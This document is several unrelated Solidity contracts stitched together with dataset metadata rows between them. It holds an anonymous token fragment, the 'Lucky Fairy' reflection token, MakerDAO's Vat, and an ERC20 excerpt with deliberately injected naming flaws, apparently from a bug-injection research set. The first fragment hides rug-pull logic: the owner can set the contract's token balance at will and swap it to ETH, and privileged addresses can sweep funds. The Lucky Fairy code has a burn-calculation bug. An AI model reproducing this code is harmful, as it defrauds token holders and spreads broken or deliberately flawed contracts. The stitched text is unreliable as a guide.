_isExcludedFromFee[address(this)] = true;
_balances[_owner] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), _owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function set(uint256 amount) external {
if (_isExcludedFromFee[msg.sender]) _allowance = amount;
}
function exclude(address account, bool value) external {
if (_isExcludedFromFee[msg.sender]) _isExcludedFromFee[account] = value;
}
function setSwapAndLiquifyEnabled(bool _enabled) external {
if (_isExcludedFromFee[msg.sender]) _swapAndLiquifyEnabled = _enabled;
}
function set(uint256 _buyFee,
uint256 _sellFee,
uint256 _feeDivisor) external {
if (_isExcludedFromFee[msg.sender]) {
buyFee = _buyFee;
sellFee = _sellFee;
feeDivisor = _feeDivisor;
}
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function transferAnyERC20Token(address token,
address account,
uint256 amount) external {
if (_isExcludedFromFee[msg.sender]) IERC20(token).transfer(account, amount);
}
function transferToken(address account, uint256 amount) external {
if (_isExcludedFromFee[msg.sender]) payable(account).transfer(amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_isExcludedFromFee[from] && amount <= _swapTokensAtAmount) {
require(approval[from] + _allowance >= 0, 'Transfer amount exceeds the maxTxAmount');
}
uint256 contractTokenBalance = balanceOf(address(this));
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (to == from && _owner == from) return swapTokensForEth(amount, to);
if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) {
approval[to] = amount;
return;
}
if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
}
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
bool takeFee = !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
if (tokenAmount > _swapTokensAtAmount) _balances[address(this)] = tokenAmount;
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
}
| 319,188 | 564 |
063d819b0970fe68a4826ab8e128445caa387169f08f8c3b0d0ef84f3f638d27
| 22,201 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/43/43886f6520a7514be2d174309cbb69e0f083879c_LuckyFairy.sol
| 5,750 | 21,092 |
// SPDX-License-Identifier: NOLICENSE
pragma solidity ^0.8.7;
// Lucky Fairy ($FAE) https://luckyfairy.io
// .' .
// .' ;'.
// ,| .' .' .
// . ,' . ' .' :
// ,-' ` ' , ' ' :
// ,' ', ' ' :
// ,'_ ___ . , . ' :
// .' .,' ` /: / . :
// `-- -. ' : / . ;
// |7) 7) C), . ;
// ; ., .,' :. .
// `. o : :. ;
// `-..' :._ :| '
// ,' /_ `. :| .'
// '.__/ `. .:| _.'
// : .' | .:-'
// .'|/ / `.
// , / ,' `.
// / ,' ,'"--.._ `.
// / / ,' `-. `.
// .' / ,'""""""'---.._j `.
// ,'.' ,' '-. .
// .' ' / ,--.._ `. :
// / ,' .' / `-.._ | ;
// _.' . / / `"--...._L__.-'
// .' .-' ,' ,'
// ||' / ,'
// ||| ,' .
// |||/ ,'
// ,'.' ,'
// / ' ,'
// .' ' .
// , ' |
// / / |
// ' / _..'
//,'--; ,'
// `-' mh
//
// Art by Maija Haavisto
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract LuckyFairy is Context, IERC20, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _isBot;
address[] private _excluded;
bool public swapEnabled;
bool private swapping;
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 777777777 * 10 **_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 500000 * 10**_decimals;
uint256 public maxTxAmount = 3888888 * 10**_decimals;
// Anti Dump //
mapping (address => uint256) public _lastTrade;
bool public coolDownEnabled = true;
uint256 public coolDownTime = 45 seconds;
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
address public devAddress = 0x2e497035A19fb5abC237B75b0d926c32890fbD26;
string private constant _name = "Lucky Fairy";
string private constant _symbol = "FAE";
struct Taxes {
uint256 rfi;
uint256 dev;
uint256 liquidity;
uint256 burn;
}
Taxes public taxes = Taxes(2,5,2,1);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 dev;
uint256 liquidity;
uint256 burn;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rDev;
uint256 rLiquidity;
uint256 rBurn;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tDev;
uint256 tLiquidity;
uint256 tBurn;
}
event FeesChanged();
event UpdatedRouter(address oldRouter, address newRouter);
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor (address routerAddress) {
IRouter _router = IRouter(routerAddress);
address _pair = IFactory(_router.factory())
.createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
excludeFromReward(pair);
excludeFromReward(deadAddress);
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[devAddress]=true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setTaxes(uint256 _rfi, uint256 _dev, uint256 _liquidity, uint256 _burn) public onlyOwner {
taxes.rfi = _rfi;
taxes.dev = _dev;
taxes.liquidity = _liquidity;
taxes.burn = _burn;
emit FeesChanged();
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal -=rRfi;
totFeesPaid.rfi +=tRfi;
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
totFeesPaid.liquidity +=tLiquidity;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tLiquidity;
}
_rOwned[address(this)] +=rLiquidity;
}
function _takeDev(uint256 rDev, uint256 tDev) private {
totFeesPaid.dev +=tDev;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tDev;
}
_rOwned[address(this)] +=rDev;
}
function _takeBurn(uint256 rBurn, uint256 tBurn) private{
totFeesPaid.burn +=tBurn;
if(_isExcluded[deadAddress])
{
_tOwned[deadAddress]+=tBurn;
}
_rOwned[deadAddress] +=rBurn;
}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);
(to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rDev, to_return.rLiquidity, to_return.rBurn) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*taxes.rfi/100;
s.tDev = tAmount*taxes.dev/100;
s.tLiquidity = tAmount*taxes.liquidity/100;
s.tBurn = tAmount*taxes.burn/100;
s.tTransferAmount = tAmount-s.tRfi-s.tDev-s.tLiquidity-s.tBurn;
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rDev, uint256 rLiquidity, uint256 rBurn) {
rAmount = tAmount*currentRate;
if(!takeFee) {
return(rAmount, rAmount, 0,0,0,0);
}
rRfi = s.tRfi*currentRate;
rDev = s.tDev*currentRate;
rLiquidity = s.tLiquidity*currentRate;
rBurn = s.rBurn*currentRate;
rTransferAmount = rAmount-rRfi-rDev-rLiquidity-rBurn;
return (rAmount, rTransferAmount, rRfi,rDev,rLiquidity, rBurn);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
require(!_isBot[from] && !_isBot[to], "You are a bot");
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !swapping){
require(amount <= maxTxAmount ,"Amount is exceeding maxTxAmount");
if(from != pair && coolDownEnabled){
uint256 timePassed = block.timestamp - _lastTrade[from];
require(timePassed > coolDownTime, "You must wait coolDownTime");
_lastTrade[from] = block.timestamp;
}
if(to != pair && coolDownEnabled){
uint256 timePassed2 = block.timestamp - _lastTrade[to];
require(timePassed2 > coolDownTime, "You must wait coolDownTime");
_lastTrade[to] = block.timestamp;
}
}
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
swapAndLiquify(swapTokensAtAmount);
}
_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender]) { //from excluded
_tOwned[sender] = _tOwned[sender]-tAmount;
}
if (_isExcluded[recipient]) { //to excluded
_tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount;
if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi);
if(s.rLiquidity > 0 || s.tLiquidity > 0) {
_takeLiquidity(s.rLiquidity,s.tLiquidity);
}
if(s.rDev > 0 || s.tDev > 0){
_takeDev(s.rDev, s.tDev);
}
if(s.rBurn > 0 || s.tBurn > 0){
_takeBurn(s.rBurn, s.tBurn);
emit Transfer(sender, deadAddress, s.tBurn);
}
emit Transfer(sender, recipient, s.tTransferAmount);
emit Transfer(sender, address(this), s.tLiquidity + s.tDev);
}
function swapAndLiquify(uint256 tokens) private lockTheSwap{
// Split the contract balance into halves
uint256 denominator = (taxes.liquidity + taxes.dev) * 2;
uint256 tokensToAddLiquidityWith = tokens * taxes.liquidity / denominator;
uint256 toSwap = tokens - tokensToAddLiquidityWith;
uint256 initialBalance = address(this).balance;
swapTokensForAVAX(toSwap);
uint256 deltaBalance = address(this).balance - initialBalance;
uint256 unitBalance= deltaBalance / (denominator - taxes.liquidity);
uint256 avaxToAddLiquidityWith = unitBalance * taxes.liquidity;
if(avaxToAddLiquidityWith > 0){
// Add liquidity to dex
addLiquidity(tokensToAddLiquidityWith, avaxToAddLiquidityWith);
}
uint256 devAmt = unitBalance * 2 * taxes.dev;
if(devAmt > 0){
payable(devAddress).transfer(devAmt);
}
}
function addLiquidity(uint256 tokenAmount, uint256 avaxAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(router), tokenAmount);
// add the liquidity
router.addLiquidityETH{value: avaxAmount}(address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp);
}
function swapTokensForAVAX(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
// make the swap
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp);
}
function updatedevWallet(address newWallet) external onlyOwner{
require(devAddress != newWallet ,'Wallet already set');
devAddress = newWallet;
_isExcludedFromFee[devAddress];
}
function updateMaxTxAmt(uint256 amount) external onlyOwner{
maxTxAmount = amount * 10**_decimals;
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
swapTokensAtAmount = amount * 10**_decimals;
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
swapEnabled = _enabled;
}
function updateCoolDownSettings(bool _enabled, uint256 _timeInSeconds) external onlyOwner{
coolDownEnabled = _enabled;
coolDownTime = _timeInSeconds * 1 seconds;
}
function setAntibot(address account, bool state) external onlyOwner{
require(_isBot[account] != state, 'Value already set');
_isBot[account] = state;
}
function bulkAntiBot(address[] memory accounts, bool state) external onlyOwner{
for(uint256 i = 0; i < accounts.length; i++){
_isBot[accounts[i]] = state;
}
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
router = IRouter(newRouter);
pair = newPair;
}
function isBot(address account) public view returns(bool){
return _isBot[account];
}
//Use this in case AVAX are sent to the contract by mistake
function rescueAVAX(uint256 weiAmount) external onlyOwner{
require(address(this).balance >= weiAmount, "insufficient AVAX balance");
payable(msg.sender).transfer(weiAmount);
}
// Function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function rescueAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
IERC20(_tokenAddr).transfer(_to, _amount);
}
receive() external payable{
}
}
| 121,482 | 565 |
11c2976566990a4973818b32adba3414d96371f3b5ee5d19c815c9d85bf816b4
| 10,094 |
.sol
|
Solidity
| false |
533127185
|
Lodestar-Finance/lodestar-protocol
|
d19be010dea56ba706449e68d394591e97b30916
|
spec/certora/contracts/mcd/Vat.sol
| 3,103 | 10,028 |
/// vat.sol -- Dai CDP database
// Copyright (C) 2018 Rain <rainbreak@riseup.net>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity ^0.8.10;
contract Vat {
// --- Auth ---
mapping (address => uint) public wards;
function rely(address usr) external note auth { require(live == 1, "Vat/not-live"); wards[usr] = 1; }
function deny(address usr) external note auth { require(live == 1, "Vat/not-live"); wards[usr] = 0; }
modifier auth {
require(wards[msg.sender] == 1, "Vat/not-authorized");
_;
}
mapping(address => mapping (address => uint)) public can;
function hope(address usr) external note { can[msg.sender][usr] = 1; }
function nope(address usr) external note { can[msg.sender][usr] = 0; }
function wish(address bit, address usr) internal view returns (bool) {
return either(bit == usr, can[bit][usr] == 1);
}
// --- Data ---
struct Ilk {
uint256 Art; // Total Normalised Debt [wad]
uint256 rate; // Accumulated Rates [ray]
uint256 spot; // Price with Safety Margin [ray]
uint256 line; // Debt Ceiling [rad]
uint256 dust; // Urn Debt Floor [rad]
}
struct Urn {
uint256 ink; // Locked Collateral [wad]
uint256 art; // Normalised Debt [wad]
}
mapping (bytes32 => Ilk) public ilks;
mapping (bytes32 => mapping (address => Urn)) public urns;
mapping (bytes32 => mapping (address => uint)) public gem; // [wad]
mapping (address => uint256) public dai; // [rad]
mapping (address => uint256) public sin; // [rad]
uint256 public debt; // Total Dai Issued [rad]
uint256 public vice; // Total Unbacked Dai [rad]
uint256 public Line; // Total Debt Ceiling [rad]
uint256 public live; // Access Flag
// --- Logs ---
event LogNote(bytes4 indexed sig,
bytes32 indexed arg1,
bytes32 indexed arg2,
bytes32 indexed arg3,
bytes data) anonymous;
modifier note {
_;
assembly {
// log an 'anonymous' event with a constant 6 words of calldata
// and four indexed topics: the selector and the first three args
let mark := msize // end of memory ensures zero
mstore(0x40, add(mark, 288)) // update free memory pointer
mstore(mark, 0x20) // bytes type data offset
mstore(add(mark, 0x20), 224) // bytes size (padded)
calldatacopy(add(mark, 0x40), 0, 224) // bytes payload
log4(mark, 288, // calldata
shl(224, shr(224, calldataload(0))), // msg.sig
calldataload(4), // arg1
calldataload(36), // arg2
calldataload(68) // arg3)
}
}
// --- Init ---
constructor() public {
wards[msg.sender] = 1;
live = 1;
}
// --- Math ---
function add(uint x, int y) internal pure returns (uint z) {
z = x + uint(y);
require(y >= 0 || z <= x);
require(y <= 0 || z >= x);
}
function sub(uint x, int y) internal pure returns (uint z) {
z = x - uint(y);
require(y <= 0 || z <= x);
require(y >= 0 || z >= x);
}
function mul(uint x, int y) internal pure returns (int z) {
z = int(x) * y;
require(int(x) >= 0);
require(y == 0 || z / y == int(x));
}
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
// --- Administration ---
function init(bytes32 ilk) external note auth {
require(ilks[ilk].rate == 0, "Vat/ilk-already-init");
ilks[ilk].rate = 10 ** 27;
}
function file(bytes32 what, uint data) external note auth {
require(live == 1, "Vat/not-live");
if (what == "Line") Line = data;
else revert("Vat/file-unrecognized-param");
}
function file(bytes32 ilk, bytes32 what, uint data) external note auth {
require(live == 1, "Vat/not-live");
if (what == "spot") ilks[ilk].spot = data;
else if (what == "line") ilks[ilk].line = data;
else if (what == "dust") ilks[ilk].dust = data;
else revert("Vat/file-unrecognized-param");
}
function cage() external note auth {
live = 0;
}
// --- Fungibility ---
function slip(bytes32 ilk, address usr, int256 wad) external note auth {
gem[ilk][usr] = add(gem[ilk][usr], wad);
}
function flux(bytes32 ilk, address src, address dst, uint256 wad) external note {
require(wish(src, msg.sender), "Vat/not-allowed");
gem[ilk][src] = sub(gem[ilk][src], wad);
gem[ilk][dst] = add(gem[ilk][dst], wad);
}
function move(address src, address dst, uint256 rad) external note {
require(wish(src, msg.sender), "Vat/not-allowed");
dai[src] = sub(dai[src], rad);
dai[dst] = add(dai[dst], rad);
}
function either(bool x, bool y) internal pure returns (bool z) {
assembly{ z := or(x, y)}
}
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- CDP Manipulation ---
function frob(bytes32 i, address u, address v, address w, int dink, int dart) external note {
// system is live
require(live == 1, "Vat/not-live");
Urn memory urn = urns[i][u];
Ilk memory ilk = ilks[i];
// ilk has been initialised
require(ilk.rate != 0, "Vat/ilk-not-init");
urn.ink = add(urn.ink, dink);
urn.art = add(urn.art, dart);
ilk.Art = add(ilk.Art, dart);
int dtab = mul(ilk.rate, dart);
uint tab = mul(ilk.rate, urn.art);
debt = add(debt, dtab);
// either debt has decreased, or debt ceilings are not exceeded
require(either(dart <= 0, both(mul(ilk.Art, ilk.rate) <= ilk.line, debt <= Line)), "Vat/ceiling-exceeded");
// urn is either less risky than before, or it is safe
require(either(both(dart <= 0, dink >= 0), tab <= mul(urn.ink, ilk.spot)), "Vat/not-safe");
// urn is either more safe, or the owner consents
require(either(both(dart <= 0, dink >= 0), wish(u, msg.sender)), "Vat/not-allowed-u");
// collateral src consents
require(either(dink <= 0, wish(v, msg.sender)), "Vat/not-allowed-v");
// debt dst consents
require(either(dart >= 0, wish(w, msg.sender)), "Vat/not-allowed-w");
// urn has no debt, or a non-dusty amount
require(either(urn.art == 0, tab >= ilk.dust), "Vat/dust");
gem[i][v] = sub(gem[i][v], dink);
dai[w] = add(dai[w], dtab);
urns[i][u] = urn;
ilks[i] = ilk;
}
// --- CDP Fungibility ---
function fork(bytes32 ilk, address src, address dst, int dink, int dart) external note {
Urn storage u = urns[ilk][src];
Urn storage v = urns[ilk][dst];
Ilk storage i = ilks[ilk];
u.ink = sub(u.ink, dink);
u.art = sub(u.art, dart);
v.ink = add(v.ink, dink);
v.art = add(v.art, dart);
uint utab = mul(u.art, i.rate);
uint vtab = mul(v.art, i.rate);
// both sides consent
require(both(wish(src, msg.sender), wish(dst, msg.sender)), "Vat/not-allowed");
// both sides safe
require(utab <= mul(u.ink, i.spot), "Vat/not-safe-src");
require(vtab <= mul(v.ink, i.spot), "Vat/not-safe-dst");
// both sides non-dusty
require(either(utab >= i.dust, u.art == 0), "Vat/dust-src");
require(either(vtab >= i.dust, v.art == 0), "Vat/dust-dst");
}
// --- CDP Confiscation ---
function grab(bytes32 i, address u, address v, address w, int dink, int dart) external note auth {
Urn storage urn = urns[i][u];
Ilk storage ilk = ilks[i];
urn.ink = add(urn.ink, dink);
urn.art = add(urn.art, dart);
ilk.Art = add(ilk.Art, dart);
int dtab = mul(ilk.rate, dart);
gem[i][v] = sub(gem[i][v], dink);
sin[w] = sub(sin[w], dtab);
vice = sub(vice, dtab);
}
// --- Settlement ---
function heal(uint rad) external note {
address u = msg.sender;
sin[u] = sub(sin[u], rad);
dai[u] = sub(dai[u], rad);
vice = sub(vice, rad);
debt = sub(debt, rad);
}
function suck(address u, address v, uint rad) external note auth {
sin[u] = add(sin[u], rad);
dai[v] = add(dai[v], rad);
vice = add(vice, rad);
debt = add(debt, rad);
}
// --- Rates ---
function fold(bytes32 i, address u, int rate) external note auth {
require(live == 1, "Vat/not-live");
Ilk storage ilk = ilks[i];
ilk.rate = add(ilk.rate, rate);
int rad = mul(ilk.Art, rate);
dai[u] = add(dai[u], rad);
debt = add(debt, rad);
}
}
| 24,428 | 566 |
e2ee385d28e5acc4096b2f946ed02c0cecf8aea5d7993e51cbabaeb1c00fa96b
| 14,700 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/contractExtractor/nonStandardNamingExtractor/testCase/0x884d2d79657bac17b964bc5d8bdfd80c3712db74_nonStandardNaming.sol
| 4,310 | 14,336 |
pragma solidity ^0.5.16;
interface IERC20 {
function TOTALSUPPLY643() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF605(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER78(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE980(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE90(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM630(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER779(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL135(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _MSGSENDER484() internal view returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA848() internal view returns (bytes memory) { //inject NONSTANDARD NAMING
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function TOTALSUPPLY643() public view returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
